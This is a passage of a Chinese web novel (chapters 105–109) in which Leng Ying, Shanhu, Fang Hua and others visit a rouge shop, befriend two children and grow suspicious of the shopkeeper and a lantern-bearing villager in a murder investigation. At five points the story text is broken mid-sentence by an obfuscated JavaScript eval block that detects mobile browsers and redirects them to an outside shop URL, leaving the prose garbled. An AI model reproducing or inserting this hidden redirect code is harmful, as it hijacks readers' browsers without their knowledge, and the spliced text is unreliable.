“冷姐姐你不吃吗?好好吃的。”珊瑚囫囵吞下一颗,抬头问冷萤。 冷萤注视着不远处开门做生意的胭脂铺。 三三两两挽手进出的姑娘家,陪姑娘来买胭脂的年轻男子。还有带小孩进门的妇人,和蹲在店外不耐烦等媳妇的大汉。 目前看来,这就是正常做生意的店家日常。 至少,此时香砂胭脂铺,并未瞧出有什么不妥之处。 她安静地陪着珊瑚,并未发现一位年轻男人走过来,坐在了她旁边的桌凳上。 “两位姑娘,又见面了。”男子的声音传来,打扰到正在认真进食的珊瑚,与静心思考的冷萤。 冷萤还未来得及转回眼,就听见珊瑚大喊一声:“凌公子,你终于出现了!” 珊瑚的声音彻底唤醒了冷萤,她忙坐直身体,看向来人。 这个人,就是她和珊瑚昨晚追赶好久,最后还是追丢了的凌风。 她先朝对方打了招呼,随即说出了一句模棱两可的话:“凌公子瞧着,对沉水镇的一切都很熟悉。” 看着对方一脸热情,冷萤发觉自己竟看不透对方的笑容。 他昨夜是真不知道她与珊瑚跟在他后边,还是有重要的事情要做,所以假装不知道? 凌风的态度一如既往,对着冷萤开怀一笑后,随即回道:“那是自然,毕竟我在此地已经逗留许久了,明日便准备离开沉水镇。各位呢?” 见对方好似真没听懂自己在说什么,冷萤自二人见面来第一次认真打量这位紫衣男子。 自从进入沉水镇,他几次三番地突然出现在他们眼前。究竟是巧合,还是因为别的什么原因? 桌子有四面,凌风坐在冷萤的右侧。此时的她转头瞧过去,正巧能瞧见他耳垂后侧靠近脖颈处,有一颗不大不小的黑痣。 “咳咳……” 她的目光确实有些露骨,对方被瞧得不太好意思,装模作样地咳了两声。 珊瑚正巧将一碗扁食吃完,正准备点第二碗。 冷萤面不改色地问凌风:“凌公子也要来一碗吗?” 或许是因为她方才的目光,凌风此时稍稍有些愣神,被她一问才顿时反应过来:“啊……我不用了,谢谢姑娘。” 见他还坐着未动,冷萤目光微闪,顺势问起:“公子是广元人,广元可有什么好玩之地,如有机会,我们说不准会前去游历一番。” 没想到对方会突然问起自己的家乡,凌风垂眼掩住其中的情绪。 想了想,才回答她:“广元离京城近,是进京的必经之路。所以来自天南地北好吃的……”他瞧了眼吃得津津有味的珊瑚,“很多。” “哦,是吗?知道了。”冷萤点头,表示记下了。 他手指轻搭在桌面慢慢敲击,边想边说道:“还有‘傀儡戏’,广元的傀儡戏闻名天下。你们到时候过去了,可一定要去戏台子处观赏一场。” “傀儡戏?”珊瑚一听眼睛都亮了,她忙吞下嘴里的东西,问道:“是用竹竿撑着跳舞的小木偶吧?” 凌风眼珠一转,随即笑着答:“珊瑚姑娘真是博学,连这都知道。” 珊瑚抬抬下巴,表示这都是小意思。凌风见小姑娘笑得天真可爱,也不由得跟着笑了起来。 而一旁的冷萤,看向凌风的眼神则越发深邃。 珊瑚吃了两碗扁食后终于不再叫饿,这下也想起了昨晚的事,即刻没心没肺地朝凌风问道:“你一个大男人,昨晚进胭脂铺是为啥?” 她如此直白地问出,倒是将凌风问得一愣。 “两位姑娘昨晚也在夜市吗?”凌风没有直接回答,而是反问道。 珊瑚直率点头,回道:“这里夜市这么热闹,不出来逛逛实在可惜了。” 凌风仿佛找到知己般,连连回她:“是啊,我们想法一样。我喜欢这里,而且马上就要离开了,想着最后再出来逛上一次。” “去胭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547096|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脂铺也是自己喜欢吗?瞧不出来啊……凌公子。”见他顾左右而言他,就是不肯正面回答自己,珊瑚才不管什么冒犯不冒犯呢,再一次直接开口。 冷萤见状,默默为三人点了壶茶水,浅笑着在一旁斟茶。 听她明显是揶揄的话,对方脸色顿时变得尴尬,忙开口解释道:“当然不是,珊瑚姑娘这可不兴乱讲。我去胭脂铺,就是为了多拿些姑娘们爱用的胭脂水粉,带到别地售卖而已。” “你不是香料商人吗?为何还卖胭脂水粉?”珊瑚一脸无辜,仿佛是真不懂他为何要这样做。 凌风“嘿嘿”一笑,与她玩笑道:“爱美与爱香,这不冲突。我多卖些,便能多赚些,何乐而不为呢?” 冷萤慢悠悠喝了口茶,接过话道:“凌公子说得没错。不如……凌公子帮我们介绍介绍,看沉水镇夜市摊子上,有什么值得我们买的好东西。我相信,你的眼光肯定不会有错的。” 经她一夸,凌 风倒是有些不自在地低头喝了口茶,然后问道:“比如说……哪种类型的?” “哪种类型都行。但是价位嘛……”冷萤笑意未达眼角,轻声道:“在一两银子左右即可。” 清茶润喉醒脑,也让喝茶之人瞬间清醒。凌风原本一直保持在唇边的微笑,突然僵在了原地。 冷萤见他的反应,知道对方已经明白了自己方才问话的意思。 “等很久了吗?”关键时候,一句男声插了进来。 冷萤闭眼,转头看向方骅与姜小四。 他俩同时一愣,将目光移至她旁边的凌风身上,方才发觉他们似乎来得时机不太对。 珊瑚咋咋呼呼起身,大声道:“你们干脆日落再来呗,做个事情怎么这么慢。” 方骅没理她,双手抱拳与凌风打招呼:“凌公子,又见面了。” 不过两句话的功夫,凌风便独自收拾好脸上的表情,笑着起身与方骅寒暄。 冷萤随意抬手指了指胭脂铺,方骅点头表示收到,开口便邀请凌风:“凌公子若是无事,可否同我们一起,陪两位姑娘逛一逛胭脂铺?” 第一百零五章 陪姑娘逛铺子 陪姑娘逛铺子这点小事,对方又是直接开口邀请,凌风自然是不好拒绝。 冷萤问方骅与姜小四要不要吃点东西再进去,两人均答不饿。 于是,一行五人便浩浩荡荡地走向不远处的香砂胭脂铺。 这次他们很顺利地便进了大门,白日胭脂铺往来客人众多,不会有人特地将他们拦在门外的。 一进店门,汹涌的花草气息扑鼻而来,冷萤与珊瑚表情皆是一亮,姜小四则是闭上眼用鼻尖轻嗅,方骅几不可辨地微微皱起眉,仿佛很不适应店内浓郁的气味。 只有凌风,面色极为自然地扫视店内一圈,自如地走到柜面挑挑拣拣。 四周的墙面上挂着几幅花容月貌的仕女香妆绢画,画中女子眉目如画,手持着各色瓷瓶与小盒,正在妆点自己白皙的肌肤。 往里走。 几人便瞧见店内摆满了各式各样的胭脂水粉,从小巧的瓷瓶到精致的漆粉盒。 粉盒多以玉质或银质为主,偶有几盒稍大一些的漆盒,上面则镶嵌着各色宝石,看着贵气逼人。 冷萤与姜小四走到店铺一角,瞧见墙角下摆放着好几个大木桶,里面装满了各种香材。香材散发出的各种气味混合在一起,有一种说不出的馥郁芬芳。 珊瑚在旁好奇瞧着墙上挂着的好些个香囊与香薰球,时不时用手指轻碰一下,那些香薰球便发出清脆的响声。 “两位小姐,有合心的奴家可为您试用。”几人瞧得正起劲,角落处站了许久的一位小姑娘,怯生生地走到冷萤与珊瑚身边,与她们说道。 冷萤转身,在瞧见出声的小姑娘后,眼神黯淡了下。 站在角落里的小姑娘,大约金钗之年。 她一边脸颊上有块莲红色胎记,胎记自眼角延伸到下颌,乍一看像一朵盛开的莲花,让她显得格外与众不同。 她的声音细若蚊蝇,仿佛害怕自己说话的声音会惊扰到来店的客人。 见冷萤目光柔和,小姑娘不安地绞着衣角,眼神闪避了下,随即鼓起勇气看向她:“小……小姐,掌柜的不在,您需要什么可以同我说。” 瞧了眼对方绞着衣角的泛白指尖,冷萤轻柔一笑:“小姑娘,你叫什么名字?” “奴家小名叫阿苑。”小姑娘连忙答道。 “这家店就你一人照看吗?”冷萤又问。 阿苑指着另一个角落里,笔挺站着的一位与她差不多大的少年,小声道:“还有阿辉哥,我们一同过来的。” 冷萤顺着她手指的方向看过去,见角落里站着的少年板着一张脸,目光炯炯有神地扫视店内的每一位客人。 与阿苑完全相反的气质,让冷萤不由问道:“他是你的亲哥哥吗?你们的爹娘同意你们过来胭脂店帮忙?” 阿苑摇了摇头,收回目光垂头道:“阿辉哥是隔壁卢家大哥,爹娘不知道我来这儿了。” 那他们……这是自己偷跑出来赚钱的? “你们还这样小,瞒着爹娘他们会担心的。”冷萤不是很赞同他们的做法。 阿苑抬起头,目光无助地瞧了冷萤一眼,随即又撇开,诺诺道:“可是……” 冷萤耐心地等她说完。 可她身后的珊瑚是个急性子,也许是因为担心这两个半大不小的孩子,她突然出声问:“可是什么?” 珊瑚一向不拘小节,突然出声将小姑娘吓得一跳。 阿苑抬头一看,又是一位漂亮姐姐,双眼微微发亮对她们道:“阿辉哥说,这家胭脂铺的掌柜,有办法让我脸上的胎记消失。所以我们想过来看看……” 冷萤与珊瑚正在耐心听小姑娘说话,并未发现有人朝她们走来。 直到清亮的少年声在几人耳边响起,打断了小姑娘说话:“阿苑,她们是谁?都让你不要总找陌生人说话了。” 本来低着头的阿苑,一听来人声音脑袋立刻抬了起来,眼睛亮亮地看过去:“可是我要帮叔叔做生意,不说话怎么行?” 来人便是方才站在墙角的少年,不知何时走到几人身边,现在正扬着眉头,状似生气地瞪着阿苑。 本以为阿苑会被对方吓到,冷萤却发现她不仅没有,在面对那个凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547097|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴巴叫阿辉的少年时,脸上的表情明显活泛了不少。 “行,你怎么说都有理。”少年一副说不过她的模样转过脸。 他虽态度强硬却也没有真的离开,而是直接站在了原地。 他这样的举动,或许是怕冷萤与珊瑚是坏人,并对阿苑有什么企图。毕竟没有几个正常来买胭脂水粉的人,会对店里的人比对商品还感兴趣的。 见对方防着他们,冷萤也没有放在心上,她心里正想着方才阿苑说过的话。 难道……这家胭脂铺的掌柜的,真有办法让人的肌肤如初,疤痕渐隐? 她再次瞧了眼阿苑脸上的胎记,同时也想起了郝灵画像上额角那处的暗影。 “喂,你老盯着她看什么?”少年特有的青涩嗓音,具有攻击力地打断冷萤的思考。 鹅黄色身影站到她身边,在冷萤还没反应过来对方是在说自己时,珊瑚“护犊子”的姿势早已摆好。 “喂什么喂,不大点说话怎么这 么没礼貌?” “关你屁事?” “嘿……”珊瑚夸张地挽起了袖子,被循声走过来的三人打断了动作。 见又走过来三个男人,且明显与这两个女人认识,阿辉下意识地朝后退了一步,在碰到阿苑身体时,又立刻反应过来挺直腰杆挡在她前面。 “发生什么事?”方骅一来就看向珊瑚,好似在无声询问她是不是又找人吵架了? 珊瑚两眼一瞪:“看什么看?他凶冷姐姐,你看我做什么?” 方骅目光又转向挡在小姑娘身前的少年,见他个子不高眼神还挺有攻击力,问道:“这么小便出来做工?这个年纪该去的是学堂。” 他即便只是站着不动也是气势逼人,少年与他对视了一会,便即刻败下阵来。 冷萤见状,怕方骅语气严厉吓到俩孩子,便笑着朝少年问道:“你叫阿辉吗?我们不是坏人,只是想问问这家铺子的掌柜在哪里?” “不要叫我阿辉!” 少年一脸不耐,仿佛被外人叫小名,对他来说是一种侮辱。 第一百零六章 半边莲 气氛顿时尴尬了起来…… 冷萤明白,这个年纪的少年大多不愿意被人当小孩看。自己一见面就叫人家小名,就相当于没有将他放在同等地位对待。 “不好意思,那……可以告诉我你的名字吗?”冷萤依旧柔声道。 “冷姐姐,你干吗理他啦?”珊瑚忍不了了。 可她还来不及发作,就看见阿辉被一双纤细的小手一推,女孩细弱的嗓音传出:“阿辉哥你凶什么啦!你要是再对漂亮姐姐这个态度,我一定不会再理你了。” 这话一出,众人肉眼可见的,瞧着那个叫阿辉的小少年软下了态度。 他好似很怕阿苑生气一样,快速瞧了对方一眼,随即看也不看冷萤,僵着身子吐出两个字:“卢辉。” 小姑娘满意点头,随即怯怯地抬眼看向冷萤:“漂亮姐姐,我叫林苑。” “你们好,我叫冷萤。如果不介意的话,叫我阿萤就好。”冷萤微微弯腰,对面前两位少年少女道。 “阿萤姐姐。”林苑细细叫了她一声,随即羞红着脸躲到板着脸的卢辉身后。 见几人逐渐沟通顺畅,冷萤直起身环顾四周,随即问道:“店里只有你们两人照顾吗?那怎么顾得过来?” 林苑探出半边身子,解答冷萤的疑惑:“叔叔……就是这家胭脂铺的掌柜,他今日刚好有事,我与阿辉昨日才第一次上工,他便让我俩今日好好守着铺子就行,别的不用管。” 这两人才来第二日,对店里的一切还不熟悉。这掌柜的心该是有多大,竟直接将这么大个铺子甩手给他们照看了? 且不说他们顾不顾得过来,万一碰到个小偷小摸的,甚至直接进来抢东西的,这让他们怎么处理? “那……”冷萤斟酌着用词,想着她该怎么问,“你们昨日是几时下的工?” 林苑偏着脑袋想了想,随即开口:“日落前,我与阿辉哥就赶回家吃饭了。” “你们回家后,这里晚上是谁在照顾?”方骅在一旁问道。 “晚上?”林苑咬唇想了想:“叔叔说这铺子晚上不开门,让我们第二日准点过来上工就成。” 一句话,在场的几个人全都沉默下来。 只有凌风,他拿着两个用瓷瓶装的胭脂走过来,朝冷萤与珊瑚道:“在下不知有没有荣幸,将这胭脂当作见面礼送给两位姑娘?” 他这个举动,其实完全没有必要,隐约还有些冒犯。 几人才认识不久,胭脂这种东西,并不适合当作见面礼拿来送给还不太熟的女子。 姜小四的目光当即就转向方骅,见他脸虽黑沉沉的,却怎么都不吭一声,也不往冷萤那处瞄上一眼,就像颗臭石头一样。 这边冷萤正想开口拒绝,姜小四走上前,拿过凌风手中的两瓶胭脂,随即在自己布包里掏啊掏…… “哎……”凌风一脸不明,想伸手拿回自己的那两瓶胭脂,却见方骅一双眼横扫过来,随即憋了下去,再不吭一声。 姜小四在自己的布包里掏了许久也没掏出什么,方骅见状,默默上前递给他两串铜钱。 瞧了眼出现在自己眼前的铜钱,姜小四一点也没客气,扯过来拿出好几枚递到卢辉手中,然后直视着他,仿佛在问:够吗? 卢辉被几人的一番操作搞得一愣一愣的,见对面那位气势十足的黑衣男子一直看着自己,连连点头:“够了。” 一段莫名其妙地小插曲过后,冷萤再次朝卢辉问道:“这家铺子的掌柜,他长什么模样?” 林苑似乎很爱与冷萤说话,抢先答道:“叔叔的个子很高,年纪比你们都大一些。眼睛这里,”她指了指自己的眼角,继续道:“有皱纹。” 卢辉听不下去了,他微侧头道:“上了年纪的人都有皱纹,你这样形容他们怎么听得懂。” “那你说!”林苑瞧了眼冷萤,很是不满卢辉在漂亮姐姐面前嫌弃她。 “我说就我说……”卢辉梗着脖子:“掌柜的右手没有小拇指,走路没有声音,说话时一直在笑所以皱纹很多,长得也没有你们俩俊。”他的手指向方骅与凌风。 冷萤看过去,发现方骅面无表情,凌风也……面无表情?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547098|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看来,男子果然都不在意自己的容貌,如果有人这般夸自己,她多少会开心一些的。 珊瑚在旁嗤笑一声,直接下结论:“所以,这个掌柜是右手残疾,年纪大,笑面虎,还不俊?” 冷萤隐约间听见了一声冷笑,诧异看过去,却发现站在一旁的三名男子,一个个依然是面无表情。 “呃……”卢辉不敢作声了。 林苑在一旁解释:“不是的,叔叔瞧起来很有风度。” “喔……喜欢装模作样。”珊瑚点点头,表示自己明白的。 被她这么一解释,林苑急得脸都红了,连连摆手:“不对不对,他很好的,还说会帮我治脸上的胎记。” 珊瑚貌似听懂了,转头就对冷萤道:“看来还喜欢说大话。” 冷萤忍笑,暗自捏了捏珊瑚的胳膊,让她不要逗小林苑了。 珊瑚识趣地不再出声,背着手转身去瞧墙上挂着的香薰球,似乎对这些东西很感兴趣。 见林苑急到不行的样子,冷萤忽略一旁卢辉直杵杵的目光,反而拉过林苑的手,打开方才姜小四给她买的胭脂,礼貌问道:“阿苑,想试试吗?” 她话音刚落,方才还一直不敢与她对视的小姑娘目光顷刻看向她,眼神渴望地朝她点了点头。 见对方愿意,冷萤打开属于自己的瓷瓶,沾了些许脂粉,问道:“那我开始啰?” 言毕,小姑娘小心翼翼地,将自己有胎记的那半张脸慢慢递到冷萤面前,再次点头。 见对方如此信任,她自然是要好好表现了。 卢辉守在林苑身后,另外三个大男人各有各的事。在此刻、这一处,似乎就只剩下了冷萤与林苑两人。 她们一人谨慎小心地涂抹着,另一人则闭着眼睛全然信任,只余下弯起的嘴角有些微微颤抖,不知是害怕还是兴奋。 不多时,半朵莲花自林苑的眼角徐徐盛放至下颌处,将原本五官清秀的小姑娘,衬托得亭亭玉立,清丽可人。 冷萤放下手,开口:“阿苑,看看独属于你的色彩。” 第一百零七章 属于自己的盔甲 听了冷萤的话,林苑微微愣住。 一旁的卢辉这次倒挺有眼力见,自旁边拿过一面手持镜递给林苑。 林苑接过,慢慢对向自己…… 在抬眼的一刹间,她原本略显无神的双目,即刻迸发出夺目光彩。 她激动地转头朝冷萤甜笑,在得到对方温柔的回应后,又忍不住将目光转向镜中的自己。 “喜欢吗?”冷萤轻问。 “喜欢,”林苑放下手持镜,眼里闪烁着点点星光,“谢谢阿萤姐姐。” “不用谢。” 见卢辉安静地站在林苑身后,表情不再如初见面时那样冷硬。 冷萤想了想,放弃即将脱口而出的话语,转而道:“阿苑你还小,未来会越变越美丽,所以一切都不用太着急。” “我以后……想要变得和阿萤姐姐一样。”林苑看向冷萤的目光里,满是仰慕。 冷萤本已咽下了所有想说的话,但见小姑娘如此纯粹的信任自己,她盯着对方灿若星辰双眸,慢慢道:“阿苑,你以后不仅会变得同我一样,甚至会比我更优秀。只是……” “阿萤姐姐,只是什么?”林苑似乎很愿意听她说下去,急忙问道。 她思考片刻,开口:“女孩的一生既灿烂又易碎。我们不仅要让自己越发耀眼,更要让自己变得坚韧,不容易被轻易击碎。” 小姑娘想也不想,便开口道:“可是阿辉哥说过,他会保护我一辈子。” 冷萤淡淡一笑:“只有完全属于自己的盔甲,才是最坚固的。” 听她这样说,对方似懂非懂地问了句:“那阿萤姐姐,我该怎么做?” “明日便不要再来这里了,好好回去学堂读书。”冷萤不知此话一出,对方会不会认为自己多管闲事。 但林苑,她好似听懂了。 她先是乖乖点头,随即又有些为难道:“可是……夫子好啰唆。” “啰嗦也是为你好,你怎么还是听不懂?”卢辉听她们聊了许久后,终于忍不住开口了。 见林苑与冷萤一同望向自己,他表情稍稍有些不自在。但她们的目光又是如此纯粹…… 于是,他再次开口:“林叔叔送你去学堂时,隔壁的小花闹着要去都没去成。我觉得她说得没错,明日我们便不要来了。” 他口中的“她”,应是指冷萤。 见卢辉此时的态度,冷萤便也彻底放下心来。她发现,林苑身边的少年,好似比她想象的更靠谱。 “阿……阿苑知道了,那我们现在就回去。” “现在不行。”冷萤轻声道:“你们今日已经答应了掌柜的,就应该说到做到。只是……” 他们今日来得不巧,到此时也未见过掌柜一眼,不知对方是好是坏,把林苑与卢辉单独留在这里,到底妥不妥? “冷姐姐,我们今日不如就在这里多待一会儿吧?反正本来也是来找这家的掌柜的,正好可以等他回来。”珊瑚走过来,笑盈盈地对冷萤说道。 冷萤自然是答应她,然后看向方骅与姜小四,与站在他们后面的凌风。 凌风走上前,对众人抱歉道:“在下可能要先走一步了,明日就要离开沉水镇,要先回客栈收拾行李了。” “麻烦凌公子陪我们在此地待了许久。”冷萤盈盈一拜。 他们方才使了个心眼,不顾凌风的意愿拖他一同进胭脂铺,便是想弄清他与胭脂铺的关系。 但谁也没想到,今日掌柜居然不在,就留了两个小家伙在此守店。 林苑与卢辉对凌风的态度,也并不像互相认识,他们也不好总将人留在此处。 “不麻烦,在下心甘情愿。那……”凌风深深看了冷萤一眼,开口:“冷姑娘,再会!” “再会。” 凌风又对另外几人点头示意后,便转身潇洒离去。 可惜…… 直到夜幕降临,他们也没能等到胭脂铺掌柜回来。 他不仅没回来,还派了个跑腿的过来同林苑与卢辉说,让他们以后都不要再来了,自己已经请了伙计。 冷萤四人加林苑与卢辉,六个人就这么被硬生生地赶出了胭脂铺。 好在,工钱还是给他俩结了。 几人站在店外,瞧见那凶巴巴的伙计将店门关上,面面相觑无奈一笑。 “天黑了。你们家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547099|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪里?正好送你们回去。”冷萤转身问林苑。 林苑看了眼卢辉,转头对冷萤福身:“那阿苑先谢过各位哥哥姐姐了。” 冷萤朝方骅使了个眼色,示意方骅留步等她。 “你是不是发现什么不对劲的了?”方骅倒退几步,走到她身边问道。 冷萤诧异转头:“你也发现了?” “我有些怀疑,林苑其实就是凶手的下一个目标,只不过……目前还不能确定。”冷萤说出自己的想法。 方骅似乎也已猜到,沉吟片刻道:“我让陈全去探查,他回来说被杀的女子除了未婚这个共通性外,还有一个。” “什么?”冷萤忙问。 “每个女孩,身上多多少少都有些……”方骅斟酌,要用什么说辞让对方听懂。 “特殊的痕迹?”冷萤委婉 道出他想说的。 方骅点头。 这么说来…… “或许,胭脂铺掌柜与这起连环杀人案有莫大的关系,所以今日才会特意不出现。”他说出疑点。 冷萤也这样认为。 “可那个陆掌柜,我没瞧见她哪处伤着了呀?”珊瑚不知何时走到两人身边,听完他们的谈话后,问出自己的疑惑。 “也许并未显在常见之处。”冷萤盯着前面的三人,猜测道。 “是吗?”珊瑚不懂:“那凶手又是怎么知道的呢?真是好奇怪。” 冷萤问她:“你还记得我们刚到沉水镇时,那家卖沉香饮的小摊子吗?” “当然记得。” “为何我们外人认不出沉香饮是什么,但当地人却将它奉为圣水呢?”冷萤问她。 珊瑚耷眼想了想,猜测:“也许是有人喝出了效果,在当地一传十、十传百,让大家都相信了它有奇效。” 所以…… 见眼前二人用极为相同的眼神看着自己,她恍然一拍手道:“所以凶手根本不用出去寻,只要放出话,说自己能让肌肤恢复如初便自会有人寻上门,对吗?” 原来如此! 终于反应过来的珊瑚,觉着自己实在太聪明了,居然还能想到这一点! 第一百零八章 一盏灯笼 【。3。】, 差不多一炷香时间,几人将林苑和卢辉送到了家门前。 正准备互相道别时,一个男人举着木棍就朝他们冲了过来,嘴里还碎碎念着:“小兔崽子,总算是知道回来了,看老子不打死你。” 珊瑚“唰”的一下,就站到了冷萤身前。 方骅与姜小四也警惕地朝前走了一步,护住了林苑与卢辉。 他们没察觉的是,被他们护住卢辉此时格外安静,还有一路都在和冷萤聊天的林苑也不再说话了。 男人径直方骅和姜小四冲来,到了跟前看见比他高上不少的二人,气势一下子便弱了,下意识地放下了木棍。 见他们身后不大不小两个身影躲着不敢露面,他顿时怒火又起,指着卢辉凶道:“快给老子出来,老子不想在外人面前打你。” 一句话,向众人道明了他与卢辉的关系。 方骅和姜小四听罢,不顾身后谁的手还扯着他们的衣摆,默契地将身体闪至一旁,露出了不敢抬头的两人。 男人一见,火气顿时又上来了。 举着木棍气势汹汹地走到卢辉和林苑面前,先是侧头对林苑道:“你往旁边站站,阿叔先教训这小子,你爹娘一会儿就来了。” 林苑见方骅与姜小四二话不说就将他俩推了出去。 她忙跑到冷萤那处,急着寻求帮助道:“阿萤姐姐,你救救阿辉哥吧,他都是因为想帮我才会被他爹打的。” 冷萤朝她点点头,但并不上前阻止。 寂静的夜色中,卢辉的惨叫声响彻整片天空。 卢辉的爹举着木棍根本就是虚张声势,真正打的时候,用的是另外一只赤手空拳。 林苑一脸焦急地望着冷萤,乞求她的帮助。 冷萤则噙着笑站在原地,等到卢辉的爹打了他差不多三下后,她才盈盈走上前,对气得脸红脖子粗的男人道:“这位大叔,麻烦手下留情。” 男人见有人同他说话,气喘吁吁地转过身。 两人目光对视的刹那,冷萤便认出了对方是谁。 “您是……”她惊讶地止住了差点问出口的话。 这不是夜市卖瓷瓶的大叔吗? “你是谁?是不是你们将他俩带走的?”打红脸的男人才不管别的,张口就给人安罪名。 方骅皱眉,走上前冷声道:“自己家孩子不看好,怎的开口就冤枉人。” “喂,这位大叔你怎么回事?我们好心将你家孩子送回来,你干吗冤枉我们?”珊瑚见对方不知好歹也不客气了,结果刚一走上前,顿时傻了眼:“卖瓷瓶的?” 林苑赶紧将卢辉挡在身后,才又道:“是的卢阿叔,这几位哥哥姐姐是见我与阿辉哥天黑回家危险,才好心将我们送回家的。” 听了林苑的解释,男人的态度才有所好转,朝珊瑚问道:“你怎么知道吗的?” 他瞪了卢辉一眼,卢辉摸着被打疼的屁股道:“又不是我说的。” 冷萤随手拿出一两银子,笑着对男人说:“大叔您买的东西品质好,自然有许多人介绍。我就是朋友介绍过来的,可惜上次您收摊太早,这次总算是找着机会了。” 男人没有接她的银子,眼神里满是防备:“谁介绍来的?不说清楚不卖!” “你……”珊瑚见对方态度拽得要死,气得上前就要与对方理论,被冷萤一把按在原地。【。3。】, 冷萤让她稍安勿躁,然后指着方骅对男人道:“一位公子,和他差不多高,身穿紫衣,爱笑。” 男人一听,愣住了。 他并未即刻回答,而是先转身轰卢辉和林苑回家。 林苑走之前,朝冷萤几人福身道别,随后才恋恋不舍地被卢辉拉回了家。 直到眼见他们彻底进屋,男子这才转过身,目光游移片刻后才看向他们道:“他为何让你们过来,自己却不出现?” 冷萤正想回答,男子随即又自说自话:“对喔,我今日还未出摊。” 几人暗自松了口气。 想必这位卢大叔今日不出摊,便是因为儿子找不到了在家干着急呢,哪还有心思做别的。 见他似乎不再对他们抱有怀疑,冷萤又递上了那两银子,“卢大叔,那您出摊前,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547100|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以顺便卖我们一瓶吗?” 男子听罢,上下打量了冷萤一眼,随即瞧向另外几人。 珊瑚见他不答应但也不拒绝,心急道:“行就行,不行就不行,总瞧我们作甚?” 卢大叔并未理她,过了一会儿才点头,似是同意但又开口道:“东西放在另外一处,需得各位公子小姐与我一同去拿。” 珊瑚心急,二话不说直接答应:“没问题,那走吧!” 对方让他们等一下,自己回去拿个东西。 几人原地等了会,见他提着个灯笼出来,方觉这位卢大叔还挺细心的。 “麻烦卢大叔了。” 冷萤有些不好意思,总觉得自己好像把事情搞复杂了,其实一会儿等大叔出摊,直接去夜市上买也不是不可以。 但见大叔提着灯笼走在他们前面,好似并没有不乐意,便也止住了话头。 田地旁的村屋不敌镇上热闹,自然 也没有一排排灯笼照明前路。 五个人走在田间,全依仗卢大叔手中的一盏灯笼看清前路。 只是…… 都走差不多一刻左右了,还未见带路之人停下脚步,两边景物瞧起来也越来越偏僻。 珊瑚并不是个耐心人儿,又走了一段路后她实在没忍住问出了声:“我们还要走多久啊?怎么这路越来越窄,再走下去都快没路啦!” 此时的情况是,卢大叔一人手持灯笼走在前面,离几人不远不近。 中间走着的,是冷萤与珊瑚。方骅与姜小四则走在最后面。 听了珊瑚的话,冷萤并没有直接开口,而是轻轻转头朝方骅眨了眨眼。 方骅原本是面无表情地走在后边,但也隐隐发觉了不对劲之处,慢慢便提高了警惕。 这时见冷萤这边也有了反应。 他直接一跃而起,身子从冷萤与珊瑚的头顶掠过,一跨步落在提灯的男人前方,止住了他想继续走下去的脚步。 方骅站定后微微侧着身,含着凉意的目光转向那个被他吓得不轻的男人。 开口问道:“你想带我们去哪里?” 第一百零九章 毒蛇 【。3。】, 他一身黑衣,如刀削般的脸部轮廓,在月色下看起来越发冰冷。 “少……少侠,你这是干什么?” 被方骅拦住的男人,不知是因为心虚还是害怕,手中的灯笼一歪,竟慢慢烧了起来。 “给我说!” 见对方装傻充愣,方骅眼神似铁不移动分毫,一字一句以极小的音量问道:”你准备带我们,去,哪,里?“ 卢大叔手中的灯笼已燃尽,他随意将灯笼残骸丢到田间,目光渐渐淡定下来,”说好去拿货的,少侠莫非是忘记了?” 